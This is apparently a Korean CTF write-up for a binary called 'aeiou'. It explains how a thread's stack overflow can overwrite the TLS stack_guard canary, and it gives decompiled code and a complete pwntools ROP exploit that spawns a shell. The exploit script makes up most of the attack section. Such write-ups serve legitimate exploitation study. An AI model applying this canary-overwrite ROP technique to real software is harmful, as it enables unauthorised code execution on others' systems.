티스토리 뷰

Summary

  • Thread Local Storage(TLS)

리눅스는 x86: gs, x86_64: fs 레지스터로 TLS를 관리한다.

 

TLS란 쓰레드를 관리하기 위한 전역변수이며 해당 변수의 0번 째 인덱스에는 TCB(Thread Control Block)의 주소가 저장된다.

 

TCB는 해당 쓰레드를 관리하기 위한 구조체.

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  ...
} tcbhead_t;

위 구조체에서 볼 수 있는 stack_guard 영역은 fs:0x28 영역에 저장되어 있는 stack canary이다.

 

저 부분을 overwrite할 수 있다면 canary를 원하는 값으로 조작할 수 있다.

 

새로운 쓰레드가 만들어질 때 TLS 영역과 새로운 쓰레드의 stack 영역이 같은 mmap 공간에 놓이게 되어 새로운 쓰레드에서 스택 오버플로우가 발생할 경우 TLS 영역의 stack_guard를 덮을 수 있다.

Analyze

3번 메뉴.

int Teaching()
{
  int result; // eax
  pthread_t newthread; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
  result = pthread_join(newthread, 0LL);
  if ( result )
  {
    puts("oooooh :(");
    result = 1;
  }
  return result;
}

start_routine

void *__fastcall start_routine(void *a1)
{
  unsigned __int64 len; // [rsp+8h] [rbp-1018h]
  char s; // [rsp+10h] [rbp-1010h]
  unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(&s, 0, 0x1000uLL);
  puts("Hello!");
  puts("Let me know the number!");
  len = sub_400FF5();
  if ( len <= 0x10000 )
  {
    read_(0, (__int64)&s, len);
    puts("Thank You :)");
  }
  else
  {
    puts("Too much :(");
  }
  return 0LL;
}

스택상황을 보면 위에 언급한 구조체가 보임.

Exploit

rop payload 짜고 뒤에 덮어주면 됨.

from pwn import *

s = process("aeiou")
e = ELF("aeiou")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

prdi = 0x4026f3
prsi_r15 = 0x4026f1

payload = ''
payload += "A"*0x1008+"A"*16

payload += p64(prdi)
payload += p64(0)
payload += p64(prsi_r15)
payload += p64(e.bss())
payload += p64(0)
payload += p64(e.plt['read'])

payload += p64(prdi)
payload += p64(e.bss())
payload += p64(e.plt['system'])

payload = payload.ljust(0x17F0, "A")

s.sendlineafter(">>", "3")
s.sendlineafter("!\n", str(len(payload)))

s.send(payload)


s.send("/bin/sh")

s.interactive()
Comments